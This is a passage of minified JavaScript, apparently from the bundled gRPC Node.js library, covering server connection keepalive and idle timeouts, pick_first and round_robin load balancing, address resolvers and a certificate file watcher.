0:H.remoteAddress)!==null&&J!==void 0?J:"unknown",this.getChannelzSessionInfo.bind(this,w),this.channelzEnabled),_={ref:$,streamTracker:new j_.ChannelzCallTracker,messagesSent:0,messagesReceived:0,keepAlivesSent:0,lastMessageSentTimestamp:null,lastMessageReceivedTimestamp:null};(O=this.http2Servers.get(z))===null||O===void 0||O.sessions.add(w),this.sessions.set(w,_);let G=`${w.socket.remoteAddress}:${w.socket.remotePort}`;this.channelzTrace.addTrace("CT_INFO","Connection established by client "+G),this.trace("Connection established by client "+G),this.sessionChildrenTracker.refChild($);let Z=null,W=null,D=null,j=!1,M=this.enableIdleTimeout(w);if(this.maxConnectionAgeMs!==EjA){let C=this.maxConnectionAgeMs/10,R=Math.random()*C*2-C;Z=setTimeout(()=>{var x;j=!0,this.channelzTrace.addTrace("CT_INFO","Connection dropped by max connection age from "+G);try{w.goaway(Ff.constants.NGHTTP2_NO_ERROR,2147483647,jn7)}catch(y){w.destroy();return}if(w.close(),this.maxConnectionAgeGraceMs!==EjA)W=setTimeout(()=>{w.destroy()},this.maxConnectionAgeGraceMs),(x=W.unref)===null||x===void 0||x.call(W)},this.maxConnectionAgeMs+R),(X=Z.unref)===null||X===void 0||X.call(Z)}let P=()=>{if(D)clearTimeout(D),D=null},f=()=>{return!w.destroyed&&this.keepaliveTimeMs<uC6&&this.keepaliveTimeMs>0},N,T=()=>{var C;if(!f())return;this.keepaliveTrace("Starting keepalive timer for "+this.keepaliveTimeMs+"ms"),D=setTimeout(()=>{P(),N()},this.keepaliveTimeMs),(C=D.unref)===null||C===void 0||C.call(D)};N=()=>{var C;if(!f())return;this.keepaliveTrace("Sending ping with timeout "+this.keepaliveTimeoutMs+"ms");let R="";try{if(!w.ping((y,B,b)=>{if(P(),y)this.keepaliveTrace("Ping failed with error: "+y.message),this.channelzTrace.addTrace("CT_INFO","Connection dropped due to error of a ping frame "+y.message+" return in "+B),j=!0,w.close();else this.keepaliveTrace("Received ping response"),T()}))R="Ping returned false"}catch(x){R=(x instanceof Error?x.message:"")||"Unknown error"}if(R){this.keepaliveTrace("Ping send failed: "+R),this.channelzTrace.addTrace("CT_INFO","Connection dropped due to ping send error: "+R),j=!0,w.close();return}_.keepAlivesSent+=1,D=setTimeout(()=>{P(),this.keepaliveTrace("Ping timeout passed without response"),this.channelzTrace.addTrace("CT_INFO","Connection dropped by keepalive timeout from "+G),j=!0,w.close()},this.keepaliveTimeoutMs),(C=D.unref)===null||C===void 0||C.call(D)},T(),w.on("close",()=>{var C;if(!j)this.channelzTrace.addTrace("CT_INFO","Connection dropped by client "+G);if(this.sessionChildrenTracker.unrefChild($),(0,j_.unregisterChannelzRef)($),Z)clearTimeout(Z);if(W)clearTimeout(W);if(P(),M!==null)clearTimeout(M.timeout),this.sessionIdleTimeouts.delete(w);(C=this.http2Servers.get(z))===null||C===void 0||C.sessions.delete(w),this.sessions.delete(w)})}}enableIdleTimeout(z){var w,H;if(this.sessionIdleTimeout>=Wn7)return null;let J={activeStreams:0,lastIdle:Date.now(),onClose:this.onStreamClose.bind(this,z),timeout:setTimeout(this.onIdleTimeout,this.sessionIdleTimeout,this,z)};(H=(w=J.timeout).unref)===null||H===void 0||H.call(w),this.sessionIdleTimeouts.set(z,J);let{socket:O}=z;return this.trace("Enable idle timeout for "+O.remoteAddress+":"+O.remotePort),J}onIdleTimeout(z,w){let{socket:H}=w,J=z.sessionIdleTimeouts.get(w);if(J!==void 0&&J.activeStreams===0)if(Date.now()-J.lastIdle>=z.sessionIdleTimeout)z.trace("Session idle timeout triggered for "+(H===null||H===void 0?void 0:H.remoteAddress)+":"+(H===null||H===void 0?void 0:H.remotePort)+" last idle at "+J.lastIdle),z.closeSession(w);else J.timeout.refresh()}onStreamOpened(z){let w=z.session,H=this.sessionIdleTimeouts.get(w);if(H)H.activeStreams+=1,z.once("close",H.onClose)}onStreamClose(z){var w,H;let J=this.sessionIdleTimeouts.get(z);if(J){if(J.activeStreams-=1,J.activeStreams===0)J.lastIdle=Date.now(),J.timeout.refresh(),this.trace("Session onStreamClose"+((w=z.socket)===null||w===void 0?void 0:w.remoteAddress)+":"+((H=z.socket)===null||H===void 0?void 0:H.remotePort)+" at "+J.lastIdle)}}},(()=>{let Y=typeof Symbol==="function"&&Symbol.metadata?Object.create(null):void 0;if(q=[kH2("Calling start() is no longer necessary. It can be safely omitted.")],fH2(A,null,q,{kind:"method",name:"start",static:!1,private:!1,access:{has:(z)=>("start"in z),get:(z)=>z.start},metadata:Y},null,K),Y)Object.defineProperty(A,Symbol.metadata,{enumerable:!0,configurable:!0,writable:!0,value:Y})})(),A})();jt.Server=LH2;async function RH2(A,K){let q;function Y(H,J,O,X){if(H){A.sendStatus((0,CjA.serverErrorToStatus)(H,O));return}A.sendMessage(J,()=>{A.sendStatus({code:GX.Status.OK,details:"OK",metadata:O!==null&&O!==void 0?O:null})})}let z,w=null;A.start({onReceiveMetadata(H){z=H,A.startRead()},onReceiveMessage(H){if(w){A.sendStatus({code:GX.Status.UNIMPLEMENTED,details:`Received a second request message for server streaming method ${K.path}`,metadata:null});return}w=H,A.startRead()},onReceiveHalfClose(){if(!w){A.sendStatus({code:GX.Status.UNIMPLEMENTED,details:`Received no request message for server streaming method ${K.path}`,metadata:null});return}q=new CjA.ServerWritableStreamImpl(K.path,A,z,w);try{K.func(q,Y)}catch(H){A.sendStatus({code:GX.Status.UNKNOWN,details:`Server method handler threw error ${H.message}`,metadata:null})}},onCancel(){if(q)q.cancelled=!0,q.emit("cancelled","cancelled")}})}function yH2(A,K){let q;function Y(z,w,H,J){if(z){A.sendStatus((0,CjA.serverErrorToStatus)(z,H));return}A.sendMessage(w,()=>{A.sendStatus({code:GX.Status.OK,details:"OK",metadata:H!==null&&H!==void 0?H:null})})}A.start({onReceiveMetadata(z){q=new CjA.ServerDuplexStreamImpl(K.path,A,z);try{K.func(q,Y)}catch(w){A.sendStatus({code:GX.Status.UNKNOWN,details:`Server method handler threw error ${w.message}`,metadata:null})}},onReceiveMessage(z){q.push(z)},onReceiveHalfClose(){q.push(null)},onCancel(){if(q)q.cancelled=!0,q.emit("cancelled","cancelled"),q.destroy()}})}function IH2(A,K){let q,Y,z=null;A.start({onReceiveMetadata(w){Y=w,A.startRead()},onReceiveMessage(w){if(z){A.sendStatus({code:GX.Status.UNIMPLEMENTED,details:`Received a second request message for server streaming method ${K.path}`,metadata:null});return}z=w,A.startRead()},onReceiveHalfClose(){if(!z){A.sendStatus({code:GX.Status.UNIMPLEMENTED,details:`Received no request message for server streaming method ${K.path}`,metadata:null});return}q=new CjA.ServerWritableStreamImpl(K.path,A,Y,z);try{K.func(q)}catch(w){A.sendStatus({code:GX.Status.UNKNOWN,details:`Server method handler threw error ${w.message}`,metadata:null})}},onCancel(){if(q)q.cancelled=!0,q.emit("cancelled","cancelled"),q.destroy()}})}function SH2(A,K){let q;A.start({onReceiveMetadata(Y){q=new CjA.ServerDuplexStreamImpl(K.path,A,Y);try{K.func(q)}catch(z){A.sendStatus({code:GX.Status.UNKNOWN,details:`Server method handler threw error ${z.message}`,metadata:null})}},onReceiveMessage(Y){q.push(Y)},onReceiveHalfClose(){q.push(null)},onCancel(){if(q)q.cancelled=!0,q.emit("cancelled","cancelled"),q.destroy()}})}});var Tn7=v((fn7)=>{Object.defineProperty(fn7,"__esModule",{value:!0});fn7.StatusBuilder=void 0;class Vn7{constructor(){this.code=null,this.details=null,this.metadata=null}withCode(A){return this.code=A,this}withDetails(A){return this.details=A,this}withMetadata(A){return this.metadata=A,this}build(){let A={};if(this.code!==null)A.code=this.code;if(this.details!==null)A.details=this.details;if(this.metadata!==null)A.metadata=this.metadata;return A}}fn7.StatusBuilder=Vn7});var LFA=v((In7)=>{Object.defineProperty(In7,"__esModule",{value:!0});In7.LeafLoadBalancer=In7.PickFirstLoadBalancer=In7.PickFirstLoadBalancingConfig=void 0;In7.shuffled=Ln7;In7.setup=FH2;var mC6=wt(),ZX=wP(),Mt=tp(),vn7=mf(),hH2=Lw(),bH2=K9(),En7=mf(),kn7=CA("net"),xH2=r5A(),uH2="pick_first";function kFA(A){hH2.trace(bH2.LogVerbosity.DEBUG,uH2,A)}var CFA="pick_first",BH2=250;class LjA{constructor(A){this.shuffleAddressList=A}getLoadBalancerName(){return CFA}toJsonObject(){return{[CFA]:{shuffleAddressList:this.shuffleAddressList}}}getShuffleAddressList(){return this.shuffleAddressList}static createFromJson(A){if("shuffleAddressList"in A&&typeof A.shuffleAddressList!=="boolean")throw Error("pick_first config field shuffleAddressList must be a boolean if provided");return new LjA(A.shuffleAddressList===!0)}}In7.PickFirstLoadBalancingConfig=LjA;class Cn7{constructor(A){this.subchannel=A}pick(A){return{pickResultType:Mt.PickResultType.COMPLETE,subchannel:this.subchannel,status:null,onCallStarted:null,onCallEnded:null}}}function Ln7(A){let K=A.slice();for(let q=K.length-1;q>1;q--){let Y=Math.floor(Math.random()*(q+1)),z=K[q];K[q]=K[Y],K[Y]=z}return K}function mH2(A){if(A.length===0)return[];let K=[],q=[],Y=[],z=(0,En7.isTcpSubchannelAddress)(A[0])&&(0,kn7.isIPv6)(A[0].host);for(let J of A)if((0,En7.isTcpSubchannelAddress)(J)&&(0,kn7.isIPv6)(J.host))q.push(J);else Y.push(J);let w=z?q:Y,H=z?Y:q;for(let J=0;J<Math.max(w.length,H.length);J++){if(J<w.length)K.push(w[J]);if(J<H.length)K.push(H[J])}return K}var Rn7="grpc-node.internal.pick-first.report_health_status";class bj1{constructor(A){this.channelControlHelper=A,this.children=[],this.currentState=ZX.ConnectivityState.IDLE,this.currentSubchannelIndex=0,this.currentPick=null,this.subchannelStateListener=(K,q,Y,z,w)=>{this.onSubchannelStateUpdate(K,q,Y,w)},this.pickedSubchannelHealthListener=()=>this.calculateAndReportNewState(),this.stickyTransientFailureMode=!1,this.reportHealthStatus=!1,this.lastError=null,this.latestAddressList=null,this.latestOptions={},this.latestResolutionNote="",this.connectionDelayTimeout=setTimeout(()=>{},0),clearTimeout(this.connectionDelayTimeout)}allChildrenHaveReportedTF(){return this.children.every((A)=>A.hasReportedTransientFailure)}resetChildrenReportedTF(){this.children.every((A)=>A.hasReportedTransientFailure=!1)}calculateAndReportNewState(){var A;if(this.currentPick)if(this.reportHealthStatus&&!this.currentPick.isHealthy()){let K=`Picked subchannel ${this.currentPick.getAddress()} is unhealthy`;this.updateState(ZX.ConnectivityState.TRANSIENT_FAILURE,new Mt.UnavailablePicker({details:K}),K)}else this.updateState(ZX.ConnectivityState.READY,new Cn7(this.currentPick),null);else if(((A=this.latestAddressList)===null||A===void 0?void 0:A.length)===0){let K=`No connection established. Last error: ${this.lastError}. Resolution note: ${this.latestResolutionNote}`;this.updateState(ZX.ConnectivityState.TRANSIENT_FAILURE,new Mt.UnavailablePicker({details:K}),K)}else if(this.children.length===0)this.updateState(ZX.ConnectivityState.IDLE,new Mt.QueuePicker(this),null);else if(this.stickyTransientFailureMode){let K=`No connection established. Last error: ${this.lastError}. Resolution note: ${this.latestResolutionNote}`;this.updateState(ZX.ConnectivityState.TRANSIENT_FAILURE,new Mt.UnavailablePicker({details:K}),K)}else this.updateState(ZX.ConnectivityState.CONNECTING,new Mt.QueuePicker(this),null)}requestReresolution(){this.channelControlHelper.requestReresolution()}maybeEnterStickyTransientFailureMode(){if(!this.allChildrenHaveReportedTF())return;if(this.requestReresolution(),this.resetChildrenReportedTF(),this.stickyTransientFailureMode){this.calculateAndReportNewState();return}this.stickyTransientFailureMode=!0;for(let{subchannel:A}of this.children)A.startConnecting();this.calculateAndReportNewState()}removeCurrentPick(){if(this.currentPick!==null)this.currentPick.removeConnectivityStateListener(this.subchannelStateListener),this.channelControlHelper.removeChannelzChild(this.currentPick.getChannelzRef()),this.currentPick.removeHealthStateWatcher(this.pickedSubchannelHealthListener),this.currentPick.unref(),this.currentPick=null}onSubchannelStateUpdate(A,K,q,Y){var z;if((z=this.currentPick)===null||z===void 0?void 0:z.realSubchannelEquals(A)){if(q!==ZX.ConnectivityState.READY)this.removeCurrentPick(),this.calculateAndReportNewState();return}for(let[w,H]of this.children.entries())if(A.realSubchannelEquals(H.subchannel)){if(q===ZX.ConnectivityState.READY)this.pickSubchannel(H.subchannel);if(q===ZX.ConnectivityState.TRANSIENT_FAILURE){if(H.hasReportedTransientFailure=!0,Y)this.lastError=Y;if(this.maybeEnterStickyTransientFailureMode(),w===this.currentSubchannelIndex)this.startNextSubchannelConnecting(w+1)}H.subchannel.startConnecting();return}}startNextSubchannelConnecting(A){clearTimeout(this.connectionDelayTimeout);for(let[K,q]of this.children.entries())if(K>=A){let Y=q.subchannel.getConnectivityState();if(Y===ZX.ConnectivityState.IDLE||Y===ZX.ConnectivityState.CONNECTING){this.startConnecting(K);return}}this.maybeEnterStickyTransientFailureMode()}startConnecting(A){var K,q;if(clearTimeout(this.connectionDelayTimeout),this.currentSubchannelIndex=A,this.children[A].subchannel.getConnectivityState()===ZX.ConnectivityState.IDLE)kFA("Start connecting to subchannel with address "+this.children[A].subchannel.getAddress()),process.nextTick(()=>{var Y;(Y=this.children[A])===null||Y===void 0||Y.subchannel.startConnecting()});this.connectionDelayTimeout=setTimeout(()=>{this.startNextSubchannelConnecting(A+1)},BH2),(q=(K=this.connectionDelayTimeout).unref)===null||q===void 0||q.call(K)}pickSubchannel(A){kFA("Pick subchannel with address "+A.getAddress()),this.stickyTransientFailureMode=!1,A.ref(),this.channelControlHelper.addChannelzChild(A.getChannelzRef()),this.removeCurrentPick(),this.resetSubchannelList(),A.addConnectivityStateListener(this.subchannelStateListener),A.addHealthStateWatcher(this.pickedSubchannelHealthListener),this.currentPick=A,clearTimeout(this.connectionDelayTimeout),this.calculateAndReportNewState()}updateState(A,K,q){kFA(ZX.ConnectivityState[this.currentState]+" -> "+ZX.ConnectivityState[A]),this.currentState=A,this.channelControlHelper.updateState(A,K,q)}resetSubchannelList(){for(let A of this.children)A.subchannel.removeConnectivityStateListener(this.subchannelStateListener),A.subchannel.unref(),this.channelControlHelper.removeChannelzChild(A.subchannel.getChannelzRef());this.currentSubchannelIndex=0,this.children=[]}connectToAddressList(A,K){kFA("connectToAddressList(["+A.map((Y)=>(0,vn7.subchannelAddressToString)(Y))+"])");let q=A.map((Y)=>({subchannel:this.channelControlHelper.createSubchannel(Y,K),hasReportedTransientFailure:!1}));for(let{subchannel:Y}of q)if(Y.getConnectivityState()===ZX.ConnectivityState.READY){this.pickSubchannel(Y);return}for(let{subchannel:Y}of q)Y.ref(),this.channelControlHelper.addChannelzChild(Y.getChannelzRef());this.resetSubchannelList(),this.children=q;for(let{subchannel:Y}of this.children)Y.addConnectivityStateListener(this.subchannelStateListener);for(let Y of this.children)if(Y.subchannel.getConnectivityState()===ZX.ConnectivityState.TRANSIENT_FAILURE)Y.hasReportedTransientFailure=!0;this.startNextSubchannelConnecting(0),this.calculateAndReportNewState()}updateAddressList(A,K,q,Y){if(!(K instanceof LjA))return!1;if(!A.ok){if(this.children.length===0&&this.currentPick===null)this.channelControlHelper.updateState(ZX.ConnectivityState.TRANSIENT_FAILURE,new Mt.UnavailablePicker(A.error),A.error.details);return!0}let z=A.value;if(this.reportHealthStatus=q[Rn7],K.getShuffleAddressList())z=Ln7(z);let w=[].concat(...z.map((J)=>J.addresses));kFA("updateAddressList(["+w.map((J)=>(0,vn7.subchannelAddressToString)(J))+"])");let H=mH2(w);if(this.latestAddressList=H,this.latestOptions=q,this.connectToAddressList(H,q),this.latestResolutionNote=Y,w.length>0)return!0;else return this.lastError="No addresses resolved",!1}exitIdle(){if(this.currentState===ZX.ConnectivityState.IDLE&&this.latestAddressList)this.connectToAddressList(this.latestAddressList,this.latestOptions)}resetBackoff(){}destroy(){this.resetSubchannelList(),this.removeCurrentPick()}getTypeName(){return CFA}}In7.PickFirstLoadBalancer=bj1;var gH2=new LjA(!1);class yn7{constructor(A,K,q,Y){this.endpoint=A,this.options=q,this.resolutionNote=Y,this.latestState=ZX.ConnectivityState.IDLE;let z=(0,mC6.createChildChannelControlHelper)(K,{updateState:(w,H,J)=>{this.latestState=w,this.latestPicker=H,K.updateState(w,H,J)}});this.pickFirstBalancer=new bj1(z),this.latestPicker=new Mt.QueuePicker(this.pickFirstBalancer)}startConnecting(){this.pickFirstBalancer.updateAddressList((0,xH2.statusOrFromValue)([this.endpoint]),gH2,Object.assign(Object.assign({},this.options),{[Rn7]:!0}),this.resolutionNote)}updateEndpoint(A,K){if(this.options=K,this.endpoint=A,this.latestState!==ZX.ConnectivityState.IDLE)this.startConnecting()}getConnectivityState(){return this.latestState}getPicker(){return this.latestPicker}getEndpoint(){return this.endpoint}exitIdle(){this.pickFirstBalancer.exitIdle()}destroy(){this.pickFirstBalancer.destroy()}}In7.LeafLoadBalancer=yn7;function FH2(){(0,mC6.registerLoadBalancerType)(CFA,bj1,LjA),(0,mC6.registerDefaultLoadBalancerType)(CFA)}});var un7=v((bn7)=>{Object.defineProperty(bn7,"__esModule",{value:!0});bn7.FileWatcherCertificateProvider=void 0;var cH2=CA("fs"),lH2=Lw(),iH2=K9(),nH2=CA("util"),rH2="certificate_provider";function xj1(A){lH2.trace(iH2.LogVerbosity.DEBUG,rH2,A)}var gC6=(0,nH2.promisify)(cH2.readFile);class hn7{constructor(A){if(this.config=A,this.refreshTimer=null,this.fileResultPromise=null,this.latestCaUpdate=void 0,this.caListeners=new Set,this.latestIdentityUpdate=void 0,this.identityListeners=new Set,this.lastUpdateTime=null,A.certificateFile===void 0!==(A.privateKeyFile===void 0))throw Error("certificateFile and privateKeyFile must be set or unset together");if(A.certificateFile===void 0&&A.caCertificateFile===void 0)throw Error("At least one of certificateFile and caCertificateFile must be set");xj1("File watcher constructed with config "+JSON.stringify(A))}updateCertificates(){if(this.fileResultPromise)return;this.fileResultPromise=Promise.allSettled([this.config.certificateFile?gC6(this.config.certificateFile):Promise.reject(),this.config.privateKeyFile?gC6(this.config.privateKeyFile):Promise.reject(),this.config.caCertificateFile?gC6(this.config.caCertificateFile):Promise.reject()]),this.fileResultPromise.then(([A,K,q])=>{if(!this.refreshTimer)return;if(xj1("File watcher read certificates certificate "+A.status+", privateKey "+K.status+", CA certificate "+q.status),this.lastUpdateTime=new Date,this.fileResultPromise=null,A.status==="fulfilled"&&K.status==="fulfilled")this.latestIdentityUpdate={certificate:A.value,privateKey:K.value};else this.latestIdentityUpdate=null;if(q.status==="fulfilled")this.latestCaUpdate={caCertificate:q.value};else this.latestCaUpdate=null;for(let Y of this.identityListeners)Y(this.latestIdentityUpdate);for(let Y of this.caListeners)Y(this.latestCaUpdate)}),xj1("File watcher initiated certificate update")}maybeStartWatchingFiles(){if(!this.refreshTimer){let A=this.lastUpdateTime?new Date().getTime()-this.lastUpdateTime.getTime():1/0;if(A>this.config.refreshIntervalMs)this.updateCertificates();if(A>this.config.refreshIntervalMs*2)this.latestCaUpdate=void 0,this.latestIdentityUpdate=void 0;this.refreshTimer=setInterval(()=>this.updateCertificates(),this.config.refreshIntervalMs),xj1("File watcher started watching")}}maybeStopWatchingFiles(){if(this.caListeners.size===0&&this.identityListeners.size===0){if(this.fileResultPromise=null,this.refreshTimer)clearInterval(this.refreshTimer),this.refreshTimer=null}}addCaCertificateListener(A){if(this.caListeners.add(A),this.maybeStartWatchingFiles(),this.latestCaUpdate!==void 0)process.nextTick(A,this.latestCaUpdate)}removeCaCertificateListener(A){this.caListeners.delete(A),this.maybeStopWatchingFiles()}addIdentityCertificateListener(A){if(this.identityListeners.add(A),this.maybeStartWatchingFiles(),this.latestIdentityUpdate!==void 0)process.nextTick(A,this.latestIdentityUpdate)}removeIdentityCertificateListener(A){this.identityListeners.delete(A),this.maybeStopWatchingFiles()}}bn7.FileWatcherCertificateProvider=hn7});var UC6=v((U9)=>{Object.defineProperty(U9,"__esModule",{value:!0});U9.SUBCHANNEL_ARGS_EXCLUDE_KEY_PREFIX=U9.createCertificateProviderChannelCredentials=U9.FileWatcherCertificateProvider=U9.createCertificateProviderServerCredentials=U9.createServerCredentialsWithInterceptors=U9.BaseSubchannelWrapper=U9.registerAdminService=U9.FilterStackFactory=U9.BaseFilter=U9.statusOrFromError=U9.statusOrFromValue=U9.PickResultType=U9.QueuePicker=U9.UnavailablePicker=U9.ChildLoadBalancerHandler=U9.EndpointMap=U9.endpointHasAddress=U9.endpointToString=U9.subchannelAddressToString=U9.LeafLoadBalancer=U9.isLoadBalancerNameRegistered=U9.parseLoadBalancingConfig=U9.selectLbConfigFromList=U9.registerLoadBalancerType=U9.createChildChannelControlHelper=U9.BackoffTimeout=U9.parseDuration=U9.durationToMs=U9.splitHostPort=U9.uriToString=U9.CHANNEL_ARGS_CONFIG_SELECTOR_KEY=U9.createResolver=U9.registerResolver=U9.log=U9.trace=void 0;var Bn7=Lw();Object.defineProperty(U9,"trace",{enumerable:!0,get:function(){return Bn7.trace}});Object.defineProperty(U9,"log",{enumerable:!0,get:function(){return Bn7.log}});var FC6=jS();Object.defineProperty(U9,"registerResolver",{enumerable:!0,get:function(){return FC6.registerResolver}});Object.defineProperty(U9,"createResolver",{enumerable:!0,get:function(){return FC6.createResolver}});Object.defineProperty(U9,"CHANNEL_ARGS_CONFIG_SELECTOR_KEY",{enumerable:!0,get:function(){return FC6.CHANNEL_ARGS_CONFIG_SELECTOR_KEY}});var mn7=zP();Object.defineProperty(U9,"uriToString",{enumerable:!0,get:function(){return mn7.uriToString}});Object.defineProperty(U9,"splitHostPort",{enumerable:!0,get:function(){return mn7.splitHostPort}});var gn7=EFA();Object.defineProperty(U9,"durationToMs",{enumerable:!0,get:function(){return gn7.durationToMs}});Object.defineProperty(U9,"parseDuration",{enumerable:!0,get:function(){return gn7.parseDuration}});var oH2=YjA();Object.defineProperty(U9,"BackoffTimeout",{enumerable:!0,get:function(){return oH2.BackoffTimeout}});var RFA=wt();Object.defineProperty(U9,"createChildChannelControlHelper",{enumerable:!0,get:function(){return RFA.createChildChannelControlHelper}});Object.defineProperty(U9,"registerLoadBalancerType",{enumerable:!0,get:function(){return RFA.registerLoadBalancerType}});Object.defineProperty(U9,"selectLbConfigFromList",{enumerable:!0,get:function(){return RFA.selectLbConfigFromList}});Object.defineProperty(U9,"parseLoadBalancingConfig",{enumerable:!0,get:function(){return RFA.parseLoadBalancingConfig}});Object.defineProperty(U9,"isLoadBalancerNameRegistered",{enumerable:!0,get:function(){return RFA.isLoadBalancerNameRegistered}});var aH2=LFA();Object.defineProperty(U9,"LeafLoadBalancer",{enumerable:!0,get:function(){return aH2.LeafLoadBalancer}});var uj1=mf();Object.defineProperty(U9,"subchannelAddressToString",{enumerable:!0,get:function(){return uj1.subchannelAddressToString}});Object.defineProperty(U9,"endpointToString",{enumerable:!0,get:function(){return uj1.endpointToString}});Object.defineProperty(U9,"endpointHasAddress",{enumerable:!0,get:function(){return uj1.endpointHasAddress}});Object.defineProperty(U9,"EndpointMap",{enumerable:!0,get:function(){return uj1.EndpointMap}});var sH2=bD1();Object.defineProperty(U9,"ChildLoadBalancerHandler",{enumerable:!0,get:function(){return sH2.ChildLoadBalancerHandler}});var QC6=tp();Object.defineProperty(U9,"UnavailablePicker",{enumerable:!0,get:function(){return QC6.UnavailablePicker}});Object.defineProperty(U9,"QueuePicker",{enumerable:!0,get:function(){return QC6.QueuePicker}});Object.defineProperty(U9,"PickResultType",{enumerable:!0,get:function(){return QC6.PickResultType}});var Fn7=r5A();Object.defineProperty(U9,"statusOrFromValue",{enumerable:!0,get:function(){return Fn7.statusOrFromValue}});Object.defineProperty(U9,"statusOrFromError",{enumerable:!0,get:function(){return Fn7.statusOrFromError}});var tH2=ek6();Object.defineProperty(U9,"BaseFilter",{enumerable:!0,get:function(){return tH2.BaseFilter}});var eH2=Wj1();Object.defineProperty(U9,"FilterStackFactory",{enumerable:!0,get:function(){return eH2.FilterStackFactory}});var AJ2=uD1();Object.defineProperty(U9,"registerAdminService",{enumerable:!0,get:function(){return AJ2.registerAdminService}});var KJ2=TFA();Object.defineProperty(U9,"BaseSubchannelWrapper",{enumerable:!0,get:function(){return KJ2.BaseSubchannelWrapper}});var Qn7=Lj1();Object.defineProperty(U9,"createServerCredentialsWithInterceptors",{enumerable:!0,get:function(){return Qn7.createServerCredentialsWithInterceptors}});Object.defineProperty(U9,"createCertificateProviderServerCredentials",{enumerable:!0,get:function(){return Qn7.createCertificateProviderServerCredentials}});var qJ2=un7();Object.defineProperty(U9,"FileWatcherCertificateProvider",{enumerable:!0,get:function(){return qJ2.FileWatcherCertificateProvider}});var YJ2=qjA();Object.defineProperty(U9,"createCertificateProviderChannelCredentials",{enumerable:!0,get:function(){return YJ2.createCertificateProviderChannelCredentials}});var zJ2=fC6();Object.defineProperty(U9,"SUBCHANNEL_ARGS_EXCLUDE_KEY_PREFIX",{enumerable:!0,get:function(){return zJ2.SUBCHANNEL_ARGS_EXCLUDE_KEY_PREFIX}})});var dn7=v((pn7)=>{Object.defineProperty(pn7,"__esModule",{value:!0});pn7.setup=OJ2;var HJ2=jS(),JJ2=r5A();class Un7{constructor(A,K,q){this.listener=K,this.hasReturnedResult=!1,this.endpoints=[];let Y;if(A.authority==="")Y="/"+A.path;else Y=A.path;this.endpoints=[{addresses:[{path:Y}]}]}updateResolution(){if(!this.hasReturnedResult)this.hasReturnedResult=!0,process.nextTick(this.listener,(0,JJ2.statusOrFromValue)(this.endpoints),{},null,"")}destroy(){this.hasReturnedResult=!1}static getDefaultAuthority(A){return"localhost"}}function OJ2(){(0,HJ2.registerResolver)("unix",Un7)}});var an7=v((on7)=>{Object.defineProperty(on7,"__esModule",{value:!0});on7.setup=WJ2;var cn7=CA("net"),ln7=r5A(),Bj1=K9(),pC6=UG(),in7=jS(),$J2=mf(),nn7=zP(),_J2=Lw(),GJ2="ip_resolver";function rn7(A){_J2.trace(Bj1.LogVerbosity.DEBUG,GJ2,A)}var dC6="ipv4",cC6="ipv6",ZJ2=443;class lC6{constructor(A,K,q){var Y;this.listener=K,this.endpoints=[],this.error=null,this.hasReturnedResult=!1,rn7("Resolver constructed for target "+(0,nn7.uriToString)(A));let z=[];if(!(A.scheme===dC6||A.scheme===cC6)){this.error={code:Bj1.Status.UNAVAILABLE,details:`Unrecognized scheme ${A.scheme} in IP resolver`,metadata:new pC6.Metadata};return}let w=A.path.split(",");for(let H of w){let J=(0,nn7.splitHostPort)(H);if(J===null){this.error={code:Bj1.Status.UNAVAILABLE,details:`Failed to parse ${A.scheme} address ${H}`,metadata:new pC6.Metadata};return}if(A.scheme===dC6&&!(0,cn7.isIPv4)(J.host)||A.scheme===cC6&&!(0,cn7.isIPv6)(J.host)){this.error={code:Bj1.Status.UNAVAILABLE,details:`Failed to parse ${A.scheme} address ${H}`,metadata:new pC6.Metadata};return}z.push({host:J.host,port:(Y=J.port)!==null&&Y!==void 0?Y:ZJ2})}this.endpoints=z.map((H)=>({addresses:[H]})),rn7("Parsed "+A.scheme+" address list "+z.map($J2.subchannelAddressToString))}updateResolution(){if(!this.hasReturnedResult)this.hasReturnedResult=!0,process.nextTick(()=>{if(this.error)this.listener((0,ln7.statusOrFromError)(this.error),{},null,"");else this.listener((0,ln7.statusOrFromValue)(this.endpoints),{},null,"")})}destroy(){this.hasReturnedResult=!1}static getDefaultAuthority(A){return A.path.split(",")[0]}}function WJ2(){(0,in7.registerResolver)(dC6,lC6),(0,in7.registerResolver)(cC6,lC6)}});var Yr7=v((Kr7)=>{Object.defineProperty(Kr7,"__esModule",{value:!0});Kr7.RoundRobinLoadBalancer=void 0;Kr7.setup=NJ2;var en7=wt(),PW=wP(),yFA=tp(),jJ2=Lw(),MJ2=K9(),sn7=mf(),PJ2=LFA(),VJ2="round_robin";function tn7(A){jJ2.trace(MJ2.LogVerbosity.DEBUG,VJ2,A)}var mj1="round_robin";class gj1{getLoadBalancerName(){return mj1}constructor(){}toJsonObject(){return{[mj1]:{}}}static createFromJson(A){return new gj1}}class Ar7{constructor(A,K=0){this.children=A,this.nextIndex=K}pick(A){let K=this.children[this.nextIndex].picker;return this.nextIndex=(this.nextIndex+1)%this.children.length,K.pick(A)}peekNextEndpoint(){return this.children[this.nextIndex].endpoint}}function fJ2(A,K){return[...A.slice(K),...A.slice(0,K)]}class iC6{constructor(A){this.channelControlHelper=A,this.children=[],this.currentState=PW.ConnectivityState.IDLE,this.currentReadyPicker=null,this.updatesPaused=!1,this.lastError=null,this.childChannelControlHelper=(0,en7.createChildChannelControlHelper)(A,{updateState:(K,q,Y)=>{if(this.currentState===PW.ConnectivityState.READY&&K!==PW.ConnectivityState.READY)this.channelControlHelper.requestReresolution();if(Y)this.lastError=Y;this.calculateAndUpdateState()}})}countChildrenWithState(A){return this.children.filter((K)=>K.getConnectivityState()===A).length}calculateAndUpdateState(){if(this.updatesPaused)return;if(this.countChildrenWithState(PW.ConnectivityState.READY)>0){let A=this.children.filter((q)=>q.getConnectivityState()===PW.ConnectivityState.READY),K=0;if(this.currentReadyPicker!==null){let q=this.currentReadyPicker.peekNextEndpoint();if(K=A.findIndex((Y)=>(0,sn7.endpointEqual)(Y.getEndpoint(),q)),K<0)K=0}this.updateState(PW.ConnectivityState.READY,new Ar7(A.map((q)=>({endpoint:q.getEndpoint(),picker:q.getPicker()})),K),null)}else if(this.countChildrenWithState(PW.ConnectivityState.CONNECTING)>0)this.updateState(PW.ConnectivityState.CONNECTING,new yFA.QueuePicker(this),null);else if(this.countChildrenWithState(PW.ConnectivityState.TRANSIENT_FAILURE)>0){let A=`round_robin: No connection established. Last error: ${this.lastError}`;this.updateState(PW.ConnectivityState.TRANSIENT_FAILURE,new yFA.UnavailablePicker({details:A}),A)}else this.updateState(PW.ConnectivityState.IDLE,new yFA.QueuePicker(this),null);for(let A of 